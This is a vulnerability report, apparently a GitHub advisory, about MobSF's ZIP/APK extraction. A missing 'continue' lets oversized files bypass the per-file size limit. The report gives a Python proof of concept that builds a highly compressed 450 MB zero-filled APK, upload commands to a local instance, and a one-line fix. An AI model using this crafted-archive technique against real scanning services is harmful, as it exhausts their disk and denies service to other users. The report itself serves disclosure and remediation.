Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in shared_func.py lines 153–182:
# Line 156: Size check
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
# ← BUG: No 'continue' here! Execution falls through.
# Line 161: Total size check (separate)
if total_size > settings.ZIP_MAX_UNCOMPRESSED_TOTAL_SIZE:
raise Exception(msg)
# Line 171-178: Permission fixing (only dirs get 'continue')
if fileinfo.is_dir():
continue
else:
fileinfo.external_attr = ...
# Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES
try:
zipptr.extract(file_path, ext_path) # ← Runs regardless of size checkThe control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
#!/usr/bin/env python3
import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk')
with zipfile.ZipFile(output, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>')
# 450 MB file (exceeds 400 MB limit) — compresses to ~KB
info = zipfile.ZipInfo('assets/huge.bin')
info.compress_type = zipfile.ZIP_DEFLATED
with zf.open(info, 'w') as f:
for _ in range(450):
f.write(b'\x00' * (1024 * 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")2. Upload via API:
curl -X POST http://127.0.0.1:8000/api/v1/upload \
-H "X-Mobsf-Api-Key: YOUR_KEY" \
-F "file=@poc.apk"
3. Trigger scan, then verify:
# Log says "Skipping" but file exists on disk:
grep "File too large" ~/.MobSF/debug.log
ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK
- The APK could come from a legitimate-looking package submitted for security review
- Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists
- Impact: disk exhaustion preventing further scans for other users
Remediation
Add continue after the size warning:
if fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE:
size_mb = fileinfo.file_size / (1024 * 1024)
msg = (f'File too large ({size_mb:.2f} MB). Skipping '
f'{sanitize_for_logging(file_path)}')
logger.warning(msg)
continue # ← ADD THIS LINEReferences
ya3raj Reporter
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed
ZIP_MAX_UNCOMPRESSED_FILE_SIZE(400 MB) and logs "Skipping" — but the code lacks acontinuestatement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.Verified Impact (Code Audit)
The vulnerable code path in
shared_func.pylines 153–182:The control flow is clear: after the size check logs "Skipping", no
continueorbreakis issued. The code proceeds to line 182 which extracts the file unconditionally.Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
2. Upload via API:
3. Trigger scan, then verify:
Why This Is Not a Self-Bug
Remediation
Add
continueafter the size warning:References